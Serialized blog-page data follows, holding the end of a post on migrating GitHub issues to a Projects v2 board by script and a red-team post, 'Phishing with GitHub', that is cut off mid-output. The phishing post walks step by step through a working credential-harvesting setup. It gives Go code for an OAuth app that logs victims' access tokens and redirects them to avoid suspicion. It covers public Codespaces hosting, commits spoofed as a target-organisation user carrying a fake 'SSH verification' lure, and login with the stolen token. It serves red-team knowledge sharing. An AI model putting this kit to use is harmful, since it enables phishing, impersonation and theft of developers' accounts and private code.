development\"}",[],"code_block$05b05a21-1133-43ba-aa47-5227a46b7c07",{"variation":437,"version":438,"items":34569,"primary":34570,"id":34578,"slice_type":468,"slice_label":5},[],{"body":34571},[34572,34575],{"type":746,"text":34573,"spans":34574},"Step 3: get the ID of the new project",[],{"type":25,"text":34576,"spans":34577},"In order to use the GitHub API to add the issues to the new project, we'll need its ID. We can get this easily using the GitHub CLI:",[],"rich_text$8d972261-789e-4dde-926b-30ffb92049e8",{"variation":437,"version":438,"items":34580,"primary":34581,"id":34586,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34582},[34583],{"type":27922,"text":34584,"spans":34585},"project_id=$(gh api graphql --jq '.data.organization.projectV2.id' -f query='\n  query{\n\torganization(login:\"form3tech\"){\n\t  projectV2(number:345){\n\t    id\n\t  }\n\t}\n  }')",[],"code_block$f5feb686-803e-42dd-967a-864f85ceabcb",{"variation":437,"version":438,"items":34588,"primary":34589,"id":34606,"slice_type":468,"slice_label":5},[],{"body":34590},[34591,34594,34597,34600,34603],{"type":746,"text":34592,"spans":34593},"Step 4: find out about the status field in the new project",[],{"type":25,"text":34595,"spans":34596},"Project v2 boards have a more flexible status configuration than the columns in a classic board, so in order to make use of them via the API you need to know:",[],{"type":3373,"text":34598,"spans":34599},"The ID of the status field on issues.",[],{"type":3373,"text":34601,"spans":34602},"The IDs and names of the different status options.",[],{"type":25,"text":34604,"spans":34605},"We can find all this out in one go with a single request to the GitHub API:",[],"rich_text$531d26f4-1b9c-496d-b798-9207fb6d0cbd",{"variation":437,"version":438,"items":34608,"primary":34609,"id":34614,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34610},[34611],{"type":27922,"text":34612,"spans":34613},"gh api graphql -f query='\n  query{\n\torganization(login: \"form3tech\"){\n\t  projectV2(number: 345) {\n\t    field(name:\"Status\"){\n\t      __typename\n\t      ... on ProjectV2SingleSelectField{\n \t\t    id\n\t\t    options{\n\t\t      id\n\t\t      name\n\t\t    }\n\t      }\n\t    }\n\t  }\n\t}\n  }' | jq",[],"code_block$3a9907ce-1e62-4cb9-bbea-867e822c5373",{"variation":437,"version":438,"items":34616,"primary":34617,"id":34622,"slice_type":468,"slice_label":5},[],{"body":34618},[34619],{"type":25,"text":34620,"spans":34621},"The output is something like this:",[],"rich_text$efd46e5c-2ab1-4ba5-ba4e-3a8eb5197256",{"variation":437,"version":438,"items":34624,"primary":34625,"id":34630,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34626},[34627],{"type":27922,"text":34628,"spans":34629},"{\n  \"data\": {\n    \"organization\": {\n      \"projectV2\": {\n        \"field\": {\n          \"__typename\": \"ProjectV2SingleSelectField\",\n          \"id\": \"PVTSSF_lhjkerhkjhjkJlw9zgF9whc\",\n          \"options\": [\n            {\n              \"id\": \"ehjkhkj6\",\n              \"name\": \"Product planning\"\n            },\n            {\n              \"id\": \"hjkhkje4\",\n              \"name\": \"Ready to develop\"\n            },\n            {\n              \"id\": \"hukjhkjh\",\n              \"name\": \"In development\"\n            },\n            {\n              \"id\": \"dhjkhk31\",\n              \"name\": \"Ready for demo\"\n            },\n            {\n              \"id\": \"4hjkhkcb\",\n              \"name\": \"Blocked\"\n            },\n            {\n              \"id\": \"hjkh6657\",\n              \"name\": \"Approved\"\n            }\n          ]\n        }\n      }\n    }\n  }\n}",[],"code_block$69a80c4b-d63b-4169-93f6-c95831ce09f7",{"variation":437,"version":438,"items":34632,"primary":34633,"id":34640,"slice_type":468,"slice_label":5},[],{"body":34634},[34635],{"type":25,"text":34636,"spans":34637},"From this output, we can find the status field ID (jq '.data.organization.projectV2.field.id' | sed 's\u002F\"\u002F\u002Fg'), and the status options (jq '.data.organization.projectV2.field.options')",[34638,34639],{"start":1250,"end":19534,"type":765},{"start":19450,"end":18514,"type":765},"rich_text$58b15207-6f4f-4a51-a761-871a7ef65904",{"variation":437,"version":438,"items":34642,"primary":34643,"id":34666,"slice_type":468,"slice_label":5},[],{"body":34644},[34645,34648,34651,34654,34658,34662],{"type":746,"text":34646,"spans":34647},"Step 5: migrate the issues to the new board",[],{"type":25,"text":34649,"spans":34650},"Now, we can bring all of this data together in a Bash script which iterates over each of the issue lines outputted by our Python script, and adds the issue to the correct status on the new board:",[],{"type":25,"text":34652,"spans":34653},"This script assumes that:",[],{"type":1151,"text":34655,"spans":34656},"The output from the Python script has been saved in $issue_statuses.",[34657],{"start":1251,"end":2397,"type":765},{"type":1151,"text":34659,"spans":34660},"The status options have been saved in $status_option_ids.",[34661],{"start":11705,"end":4889,"type":765},{"type":1151,"text":34663,"spans":34664},"The ID of the project has been saved in $project_id.",[34665],{"start":10399,"end":1250,"type":765},"rich_text$ea322eef-7f5b-4ca4-bc80-b0140ea784e9",{"variation":437,"version":438,"items":34668,"primary":34669,"id":34674,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34670},[34671],{"type":27922,"text":34672,"spans":34673},"set -eu -o pipefail\n\necho -n \"$issue_statuses\" | while read -r issue; do\n\t# Parse each JSON object into the variables we need.\n\tissue_id=$(echo -n \"$issue\" | jq '.id' | sed 's\u002F\"\u002F\u002Fg')\n\tissue_number=$(echo -n \"$issue\" | jq '.number')\n\tnew_status=$(echo -n \"$issue\" | jq '.new_status' | sed 's\u002F\"\u002F\u002Fg')\n\tstatus_option_id=$(echo -n \"$status_option_ids\" | jq \".[] | select(.name == \\\"$new_status\\\").id\" | sed 's\u002F\"\u002F\u002Fg')\n\n\t# Print out the variables we're using for the user to see.\n\techo \"issue id: $issue_id\"\n\techo \"issue number: $issue_number\"\n\techo \"new status: $new_status\"\n\techo \"status option id: $status_option_id\"\n\n\t# Check that we've got valid data.\n\tif [[ -z \"$issue_id\" || -z \"$issue_number\" || -z \"$new_status\" || -z \"$status_option_id\" ]]; then\n\t\techo \"invalid args\"\n\t\texit 1\n\tfi\n\n\techo \"adding issue number $issue_number to new board\"\n\n\t# First, add the issue to the new project, and store the item\u002Fcard ID in a variable.\n\titem_id=$(gh api graphql -f query='\n\t\tmutation{\n\t\t\taddProjectV2ItemById(input:{\n\t\t\t\tcontentId:\"'\"$issue_id\"'\",\n\t\t\t\tprojectId:\"'\"$project_id\"'\"\n\t\t\t}){\n\t\t\t\titem{\n\t\t\t\t\tid\n\t\t\t\t\tproject{\n\t\t\t\t\t\ttitle\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}' | jq '.data.addProjectV2ItemById.item.id' | sed 's\u002F\"\u002F\u002Fg')\n\n\techo \"moving issue number $issue_number to new status $new_status\"\n\n\t# Then, assign the correct status to the new project item\u002Fcard.\n\tgh api graphql --jq '.data.updateProjectV2ItemFieldValue.projectV2Item.fieldValueByName.name' -f query='\n\t\tmutation{\n\t\t\tupdateProjectV2ItemFieldValue(input:{\n\t\t\t\titemId:\"'\"$item_id\"'\",\n\t\t\t\tvalue:{singleSelectOptionId:\"'\"$status_option_id\"'\"},\n\t\t\t\tfieldId:\"'\"$status_field_id\"'\",\n\t\t\t\tprojectId:\"'\"$project_id\"'\",\n\t\t\t\tclientMutationId:\"status-update\"\n\t\t\t}){\n\t\t\t\tprojectV2Item{\n\t\t\t\t\tfieldValueByName(name: \"Status\"){\n\t\t\t\t\t\t__typename\n\t\t\t\t\t\t... on ProjectV2ItemFieldSingleSelectValue{\n\t\t\t\t\t\t\tname\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}'\ndone",[],"code_block$4299c2e0-4a03-4dc0-8911-c63f973c78c8",{"variation":437,"version":438,"items":34676,"primary":34677,"id":34685,"slice_type":468,"slice_label":5},[],{"body":34678},[34679,34682],{"type":746,"text":34680,"spans":34681},"Step 6: profit!",[],{"type":25,"text":34683,"spans":34684},"So there it is: it's a bit painful, but not possible via the GitHub UI. You need to make a few requests to the GraphQL to get the data you need, and re-shape some of the output into a format that's usable. For small project boards, you could probably do this manually, but if you need to migrate hundreds of issues then I hope you find this post useful!",[],"rich_text$6dc942c4-cc91-444a-b694-950e9c1f8c9b",{"id":34687,"uid":34688,"type":25949,"data":34689},"alz02hEAACcAUWat","phishing-github",{"title":34690,"excerpt":34691,"card_image":34692,"published_date":34697,"reading_time":643,"tag":25960,"dek":34691,"featured_image":34698,"about_form3":34705,"client_about_heading":5,"client_about_body":34706,"author_name":5,"author_title":5,"author_photo":34707,"author_bio":34708,"author_linkedin":34709,"slices":34710,"meta_title":34690,"meta_description":34691},"Phishing with GitHub","For a Red Team operator it can be disappointing to retire a particular technique, but it can also be an opportunity to share their knowledge with the community. Phishing operations can require a lot of time and effort to set up the infrastructure, acquiring and categorising domains, fine tuning payloads, preparing pretexts and bypassing those pesky filters and controls, but there are ways to make the process simpler. This post will explore one such method, using GitHub as a tool to distribute, host, and compromise a target in a bait, hook, and catch operation that can be done from a mobile device. This post will cover: GitHub Apps, Hosting, Distribution and SSH Access.",{"dimensions":34693,"alt":34690,"copyright":5,"url":34694,"id":34695,"edit":34696},{"width":412,"height":412},"\u002F_prismic-media\u002F5b67acd714ef4087-n7vzFRTPfxsLJ32t_phishing-github.svg","n7vzFRTPfxsLJ32t",{"x":398,"y":398,"zoom":399,"background":650},"2023-02-01",{"dimensions":34699,"alt":5,"copyright":5,"url":34702,"id":34703,"edit":34704},{"width":34700,"height":34701},2536,2936,"\u002F_prismic-media\u002F357f1ecf54d7d933-kFgBy4kqjojl0_VT_945ad2dc-5130-47d5-8317-8689dd3.png","kFgBy4kqjojl0_VT",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[34711,34755,34770,34788,34796,34810,34818,34827,34835,34858,34877,34891,34899,34907,34915,34923,34931,34939,34958,34969,34988,34996,35015,35023,35040,35051,35059,35079,35087,35095,35103,35112,35120,35133,35141,35149,35157,35165,35173,35181,35189,35197,35205,35213,35221],{"variation":437,"version":438,"items":34712,"primary":34713,"id":34754,"slice_type":468,"slice_label":5},[],{"body":34714},[34715,34718,34721,34725,34728,34732,34735,34742,34746,34750],{"type":746,"text":34716,"spans":34717},"GitHub Apps",[],{"type":25,"text":34719,"spans":34720},"GitHub Apps provide a powerful way for developers to streamline and optimize their workflows. These apps function independently and can take actions through the API using their own identity, eliminating the need for maintaining a separate service account or bot user.",[],{"type":25,"text":34722,"spans":34723},"To create the GitHub App go to the GitHub Developer Settings page by clicking on your profile picture in the top right corner of GitHub, selecting Settings, and then selecting Developer Settings.",[34724],{"start":11749,"end":24940,"type":765},{"type":25,"text":34726,"spans":34727},"Select GitHub Apps from the menu on the left side of the page.",[],{"type":25,"text":34729,"spans":34730},"Click the New GitHub App button.",[34731],{"start":905,"end":9799,"type":765},{"type":25,"text":34733,"spans":34734},"Fill in the required information for your app, including its name, description, and the URL of your app's homepage.",[],{"type":25,"text":34736,"spans":34737},"Set up the permissions for your app by selecting the Account permissions options under Permissions and set the Git SSH keys access level to Read and Write.",[34738,34739,34740,34741],{"start":9312,"end":1797,"type":765},{"start":2224,"end":2237,"type":765},{"start":3971,"end":18520,"type":765},{"start":5703,"end":4522,"type":765},{"type":25,"text":34743,"spans":34744},"Add a callback URL by clicking on the Add Callback URL button and providing the URL to redirect to after a user authorises an installation.",[34745],{"start":11705,"end":3963,"type":765},{"type":25,"text":34747,"spans":34748},"In post installation set the Setup URL where users will be redirected to this URL after installing your GitHub App to complete additional setup.",[34749],{"start":871,"end":11705,"type":765},{"type":25,"text":34751,"spans":34752},"Finally click on Create GitHub App to create the GitHub App.",[34753],{"start":6911,"end":1131,"type":765},"rich_text$e942c891-b846-4b1e-aa69-dda50db36837",{"variation":437,"version":527,"items":34756,"primary":34757,"id":34769,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":34758,"body":34759,"cta_label":5,"cta_link":34760,"aside_type":533,"aside_image":34761,"aside_video":34764,"aside_video_poster":34765,"aside_video_reduced_motion":34766,"aside_video_url":5,"aside_embed":34767,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":34768,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":34762,"alt":5,"copyright":5,"url":34702,"id":34703,"edit":34763},{"width":34700,"height":34701},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$a49608e9-208b-4e05-af35-eaa9026489c0",{"variation":437,"version":438,"items":34771,"primary":34772,"id":34787,"slice_type":468,"slice_label":5},[],{"body":34773},[34774,34777,34783],{"type":25,"text":34775,"spans":34776},"For the application, we will use a simple Go app that uses the OAuth2 protocol and the GitHub API to authenticate a user and retrieve their GitHub username and access token.",[],{"type":25,"text":34778,"spans":34779},"It defines two HTTP handlers, login and callback, the login handler redirects the user to the GitHub OAuth2 authorization URL, passing in a state and access type.",[34780,34781,34782],{"start":3041,"end":628,"type":765},{"start":10399,"end":5490,"type":765},{"start":3963,"end":592,"type":765},{"type":25,"text":34784,"spans":34785},"The callback handler, which is called when the user is redirected back from GitHub, takes the authorisation code from the request, exchanges it for an access token, then creates a new GitHub API client using this token. It then retrieves the authenticated user's details from the API and logs their username and token to the console. Finally, it redirects the user to Github to avoid suspicions.",[34786],{"start":4603,"end":2707,"type":765},"rich_text$926d3c95-00c0-4960-8341-16f2594de642",{"variation":437,"version":438,"items":34789,"primary":34790,"id":34795,"slice_type":27926,"slice_label":5},[],{"language_label":27919,"code":34791},[34792],{"type":27922,"text":34793,"spans":34794},"package main\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"net\u002Fhttp\"\n\t\"os\"\n\n\t\"github.com\u002Fgoogle\u002Fgo-github\u002Fgithub\"\n\t\"golang.org\u002Fx\u002Foauth2\"\n\tgithubOAuth2 \"golang.org\u002Fx\u002Foauth2\u002Fgithub\"\n)\n\nvar (\n\toauth2Config = &oauth2.Config{\n\t\tClientID:     os.Getenv(\"GITHUB_CLIENT_ID\"),\n\t\tClientSecret: os.Getenv(\"GITHUB_CLIENT_SECRET\"),\n\t\tEndpoint:     githubOAuth2.Endpoint,\n\t}\n\tcsrfToken = \"NotSoRandomString\"\n\tredirectURL = \"https:\u002F\u002Fgithub.com\"\n)\n\nfunc login(w http.ResponseWriter, req *http.Request) {\n\turl := oauth2Config.AuthCodeURL(csrfToken, oauth2.AccessTypeOnline)\n\thttp.Redirect(w, req, url, http.StatusTemporaryRedirect)\n}\n\nfunc callback(w http.ResponseWriter, req *http.Request) {\n\tctx := context.Background()\n\tcode := req.FormValue(\"code\")\n\ttoken, _ := oauth2Config.Exchange(ctx, code)\n\toauthClient := oauth2Config.Client(ctx, token)\n\tclient := github.NewClient(oauthClient)\n\tuser, _, _ := client.Users.Get(ctx, \"\")\n\n\tlog.Printf(\"Username: %s\", *user.Login)\n\tlog.Printf(\"Token:    %s\", token.AccessToken)\n\n\thttp.Redirect(w, req, redirectURL, http.StatusTemporaryRedirect)\n}\n\nfunc main() {\n\tconst address = \"0.0.0.0:9000\"\n\n\thttp.HandleFunc(\"\u002F\", login)\n\thttp.HandleFunc(\"\u002Fcallback\", callback)\n\n\tlog.Printf(\"Starting Server listening on http:\u002F\u002F%s\", address)\n\thttp.ListenAndServe(address, nil)\n}",[],"code_block$1561f272-30b5-43e1-a465-636b10629fb4",{"variation":437,"version":438,"items":34797,"primary":34798,"id":34809,"slice_type":468,"slice_label":5},[],{"body":34799},[34800,34804],{"type":25,"text":34801,"spans":34802},"Note: This application has been made simpler for demonstration purposes and does not include any error checking, making it unsuitable for use in a production environment.",[34803],{"start":398,"end":643,"type":593},{"type":25,"text":34805,"spans":34806},"In order to run the application, setup the OAuth2 configuration using environment variables GITHUB_CLIENT_ID and GITHUB_CLIENT_SECRET as the client ID and client secret respectively.",[34807,34808],{"start":12970,"end":19534,"type":765},{"start":2055,"end":783,"type":765},"rich_text$2f916706-80e0-4c9c-b880-b6a16be0bd52",{"variation":437,"version":438,"items":34811,"primary":34812,"id":34817,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34813},[34814],{"type":27922,"text":34815,"spans":34816},"$ export GITHUB_CLIENT_ID=Iv1.01234567890abcde\n$ export GITHUB_CLIENT_SECRET=0123456789abcdefghijklmnopqrstuvwxyz0123",[],"code_block$96d16c3d-48e1-4f3c-97e9-a188e265fa1e",{"variation":437,"version":438,"items":34819,"primary":34820,"id":34826,"slice_type":468,"slice_label":5},[],{"body":34821},[34822],{"type":25,"text":34823,"spans":34824},"To both build and run the code, we can utilise the command go run.",[34825],{"start":592,"end":9237,"type":765},"rich_text$cac96397-82f4-413f-a1dc-03b85d2f72bb",{"variation":437,"version":438,"items":34828,"primary":34829,"id":34834,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34830},[34831],{"type":27922,"text":34832,"spans":34833},"$ go run main.go \n2023\u002F01\u002F25 17:00:54 Starting Server listening on http:\u002F\u002F0.0.0.0:9000",[],"code_block$2c366af6-551d-4cfb-b313-93085381c12c",{"variation":437,"version":438,"items":34836,"primary":34837,"id":34857,"slice_type":468,"slice_label":5},[],{"body":34838},[34839,34842,34848,34854],{"type":746,"text":34840,"spans":34841},"Hosting",[],{"type":25,"text":34843,"spans":34844},"GitHub Codespaces allows developers to easily create and manage development environments within their web browsers. It provides an integrated development environment (IDE) that includes a code editor, terminal, and debugging tools, all of which can be used to write, test, and debug code. It also allows developers to collaborate in real-time with other team members, making it a useful tool for remote teams.",[34845],{"start":398,"end":6911,"type":489,"data":34846},{"link_type":491,"url":34847},"https:\u002F\u002Fgithub.com\u002Ffeatures\u002Fcodespaces",{"type":25,"text":34849,"spans":34850},"Inspired by Nitesh Surana and Magno Logan Abusing a GitHub Codespaces Feature For Malware Delivery post we will use GitHub Codespaces to build, run and host our phishing campaign by sharing forwarded ports publicly.",[34851],{"start":1486,"end":2237,"type":489,"data":34852},{"link_type":491,"url":34853},"https:\u002F\u002Fwww.trendmicro.com\u002Fpl_pl\u002Fresearch\u002F23\u002Fa\u002Fabusing-github-codespaces-for-malware-delivery.html",{"type":25,"text":34855,"spans":34856},"To accomplish this, simply run the Go application in a Codespace and set the forwarded port visibility to public.",[],"rich_text$b0aa232a-0ded-4aae-afdd-50e53931732d",{"variation":437,"version":527,"items":34859,"primary":34860,"id":34876,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":34861,"body":34862,"cta_label":5,"cta_link":34863,"aside_type":533,"aside_image":34864,"aside_video":34871,"aside_video_poster":34872,"aside_video_reduced_motion":34873,"aside_video_url":5,"aside_embed":34874,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":34875,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":34865,"alt":5,"copyright":5,"url":34868,"id":34869,"edit":34870},{"width":34866,"height":34867},2532,758,"\u002F_prismic-media\u002Fbd50b1accf36267d-8P0I6oKJ8VNvDqv_e8bded01-2f8e-48fe-9209-83f85db9.png","_8P0I6oKJ8VNvDqv",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$56898091-c255-4ba1-80d5-d6b40970958f",{"variation":437,"version":438,"items":34878,"primary":34879,"id":34890,"slice_type":468,"slice_label":5},[],{"body":34880},[34881,34884,34887],{"type":746,"text":34882,"spans":34883},"Distribution",[],{"type":25,"text":34885,"spans":34886},"There are various methods for delivering payloads, but for this campaign, we will focus on using GitHub Notifications. While this technique may not be novel, it is effective in targeting developers who frequently use GitHub notifications for their daily tasks.",[],{"type":25,"text":34888,"spans":34889},"To execute this step, we will first create a new branch in one of the target's open-source GitHub repositories.",[],"rich_text$f5ed9de8-911f-470a-bb75-1d38565bf3aa",{"variation":437,"version":438,"items":34892,"primary":34893,"id":34898,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34894},[34895],{"type":27922,"text":34896,"spans":34897},"$ git clone https:\u002F\u002Fgithub.com\u002Ftarget\u002Fpublicproject \n$ git checkout -b security",[],"code_block$552b08b1-58f3-4b6b-b846-acd88832dc5c",{"variation":437,"version":438,"items":34900,"primary":34901,"id":34906,"slice_type":468,"slice_label":5},[],{"body":34902},[34903],{"type":25,"text":34904,"spans":34905},"Then, we will impersonate a user from the target organisation.",[],"rich_text$6771d34f-efba-4204-ba15-6c2b5719d073",{"variation":437,"version":438,"items":34908,"primary":34909,"id":34914,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34910},[34911],{"type":27922,"text":34912,"spans":34913},"$ git config user.name \"spoofed-user\"\n$ git config user.email \"spoofed-user@target.com\"",[],"code_block$be991d7a-de95-44e5-a0c2-450019d844da",{"variation":437,"version":438,"items":34916,"primary":34917,"id":34922,"slice_type":468,"slice_label":5},[],{"body":34918},[34919],{"type":25,"text":34920,"spans":34921},"And use the commit message to send a link to our malicious GitHub App by mentioning the target user.",[],"rich_text$4fc41ca5-7ef1-4e0c-bbb4-123de95e070e",{"variation":437,"version":438,"items":34924,"primary":34925,"id":34930,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":34926},[34927],{"type":27922,"text":34928,"spans":34929},"$ git commit -a -m \"Mandatory SSH Verification\" -m \"@target-user Please verify your SSH configuration using https:\u002F\u002Fgithub.com\u002Fapps\u002Fverify-ssh.\"\n$ git push --set-upstream origin security",[],"code_block$7cc9e2a9-7f6c-40dd-90fc-9b7b419bf7f0",{"variation":437,"version":438,"items":34932,"primary":34933,"id":34938,"slice_type":468,"slice_label":5},[],{"body":34934},[34935],{"type":25,"text":34936,"spans":34937},"The target user will receive the GitHub notification via email, on GitHub.com notifications inbox and\u002For via the GitHub Mobile client.",[],"rich_text$f36baec5-e966-42a0-be62-06d995fe93b4",{"variation":437,"version":527,"items":34940,"primary":34941,"id":34957,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":34942,"body":34943,"cta_label":5,"cta_link":34944,"aside_type":533,"aside_image":34945,"aside_video":34952,"aside_video_poster":34953,"aside_video_reduced_motion":34954,"aside_video_url":5,"aside_embed":34955,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":34956,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":34946,"alt":5,"copyright":5,"url":34949,"id":34950,"edit":34951},{"width":34947,"height":34948},2472,1136,"\u002F_prismic-media\u002F7a1b3bb5e9083ab7-izZcqFqu5IHXafFR_b8e75d25-11ac-4f33-94dc-36993dd.png","izZcqFqu5IHXafFR",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$d8067987-5159-4344-b102-1c1c368fcdbe",{"variation":437,"version":438,"items":34959,"primary":34960,"id":34968,"slice_type":468,"slice_label":5},[],{"body":34961},[34962],{"type":25,"text":34963,"spans":34964},"The GitHub App is available at https:\u002F\u002Fgithub.com\u002Fapps\u002Fverify-ssh which helps to validation the pretext of the email, \"If it's in GitHub it most be legitimate!\".",[34965],{"start":690,"end":9237,"type":489,"data":34966},{"link_type":491,"url":34967},"https:\u002F\u002Fgithub.com\u002Fapps\u002Fverify-ssh","rich_text$f5136335-84d0-447b-b51e-084d4d6982f2",{"variation":437,"version":527,"items":34970,"primary":34971,"id":34987,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":34972,"body":34973,"cta_label":5,"cta_link":34974,"aside_type":533,"aside_image":34975,"aside_video":34982,"aside_video_poster":34983,"aside_video_reduced_motion":34984,"aside_video_url":5,"aside_embed":34985,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":34986,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":34976,"alt":5,"copyright":5,"url":34979,"id":34980,"edit":34981},{"width":34977,"height":34978},2374,1542,"\u002F_prismic-media\u002F2e093b3c35858ea9-U5oeRoyZSPSJhY0h_abdd04e0-0c0d-4b7b-bf87-f1b3aed.png","U5oeRoyZSPSJhY0h",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$c23f884b-f20b-4602-80df-9a9886c729c2",{"variation":437,"version":438,"items":34989,"primary":34990,"id":34995,"slice_type":468,"slice_label":5},[],{"body":34991},[34992],{"type":25,"text":34993,"spans":34994},"Clicking the Install button takes the user to the installation page.",[],"rich_text$d315d0a9-e15a-453a-a46d-a10c477d66e4",{"variation":437,"version":527,"items":34997,"primary":34998,"id":35014,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":34999,"body":35000,"cta_label":5,"cta_link":35001,"aside_type":533,"aside_image":35002,"aside_video":35009,"aside_video_poster":35010,"aside_video_reduced_motion":35011,"aside_video_url":5,"aside_embed":35012,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":35013,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":35003,"alt":5,"copyright":5,"url":35006,"id":35007,"edit":35008},{"width":35004,"height":35005},2262,2340,"\u002F_prismic-media\u002F0e0b2d8b60ffa3ce-PSaBZFNQ0zSf4Nwz_e1f38263-75df-418b-8f04-504a9fe.png","PSaBZFNQ0zSf4Nwz",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$f4437740-6920-483c-878a-4aef646fc296",{"variation":437,"version":438,"items":35016,"primary":35017,"id":35022,"slice_type":468,"slice_label":5},[],{"body":35018},[35019],{"type":25,"text":35020,"spans":35021},"Followed by the authorise page where the user authorises the permissions required for the GitHub App.",[],"rich_text$3ba2bd7c-5851-4bae-a6fb-fa8fe4f043fe",{"variation":437,"version":527,"items":35024,"primary":35025,"id":35039,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":35026,"body":35027,"cta_label":5,"cta_link":35028,"aside_type":533,"aside_image":35029,"aside_video":35034,"aside_video_poster":35035,"aside_video_reduced_motion":35036,"aside_video_url":5,"aside_embed":35037,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":35038,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":35030,"alt":5,"copyright":5,"url":35031,"id":35032,"edit":35033},{"width":35004,"height":35005},"\u002F_prismic-media\u002F6cdb2dcd3b38fda9-MN4uoEWoSpirg0oH_e81e9458-7634-4c33-91b3-5f10298.png","MN4uoEWoSpirg0oH",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$4cb397f4-9c08-4bfa-8b5f-f6e1aee267a7",{"variation":437,"version":438,"items":35041,"primary":35042,"id":35050,"slice_type":468,"slice_label":5},[],{"body":35043},[35044,35047],{"type":25,"text":35045,"spans":35046},"You might argue that a simpler approach would be to just send the link to the authorisation page, but since it is served through a Codespace forwarded port, it may appear suspicious. Using the GitHub App URL, while requiring more user interaction, appears more trustworthy and credible.",[],{"type":25,"text":35048,"spans":35049},"Back in the Codespace session the username and token are logged to the terminal.",[],"rich_text$af085d9f-7849-4a67-861e-373bf80ca3a8",{"variation":437,"version":438,"items":35052,"primary":35053,"id":35058,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35054},[35055],{"type":27922,"text":35056,"spans":35057},"2023\u002F01\u002F25 17:01:38 Username: target-user\n2023\u002F01\u002F25 17:01:38 Token:    ghu_h9YFdUN9vbK6KttWVn2ZrFU0qrn0eA4O5AHS",[],"code_block$e6c55080-80c7-4577-bd90-2bed272ef51d",{"variation":437,"version":438,"items":35060,"primary":35061,"id":35078,"slice_type":468,"slice_label":5},[],{"body":35062},[35063,35066,35069,35074],{"type":746,"text":35064,"spans":35065},"SSH Access",[],{"type":25,"text":35067,"spans":35068},"To gain access to the target user private repos we first need to authenticate with GitHub using the stolen access token.",[],{"type":25,"text":35070,"spans":35071},"For that we will use the GitHub CLI command gh auth login with the --with-token flag.",[35072,35073],{"start":2674,"end":3639,"type":765},{"start":2397,"end":3084,"type":765},{"type":25,"text":35075,"spans":35076},"In Codespaces, before using the GitHub CLI, we first need to remove the GITHUB_TOKEN environment variable.",[35077],{"start":1797,"end":5321,"type":765},"rich_text$fe3c46f5-d6a5-44b4-9c12-e75c51107681",{"variation":437,"version":438,"items":35080,"primary":35081,"id":35086,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35082},[35083],{"type":27922,"text":35084,"spans":35085},"$ unset GITHUB_TOKEN",[],"code_block$12cd1ff9-48fc-4e2e-b2c3-9a9895fdcc26",{"variation":437,"version":438,"items":35088,"primary":35089,"id":35094,"slice_type":468,"slice_label":5},[],{"body":35090},[35091],{"type":25,"text":35092,"spans":35093},"Authenticate with GitHub using the stolen access token.",[],"rich_text$c15ad73b-d785-47e3-8083-4148e6daf850",{"variation":437,"version":438,"items":35096,"primary":35097,"id":35102,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35098},[35099],{"type":27922,"text":35100,"spans":35101},"$ gh auth login --with-token\nghu_h9YFdUN9vbK6KttWVn2ZrFU0qrn0eA4O5AHS",[],"code_block$4355ccbc-8936-420b-9982-ef4b064d0556",{"variation":437,"version":438,"items":35104,"primary":35105,"id":35111,"slice_type":468,"slice_label":5},[],{"body":35106},[35107],{"type":25,"text":35108,"spans":35109},"To verify the current authentication status of the GitHub CLI we can use the gh auth status command.",[35110],{"start":855,"end":1408,"type":765},"rich_text$3233873f-511e-43ac-a0d9-7e27683b0ae4",{"variation":437,"version":438,"items":35113,"primary":35114,"id":35119,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":35115},[35116],{"type":27922,"text":35117,"spans":35118},"$ gh auth status\ngithub.com\n  ✓ Logged in to 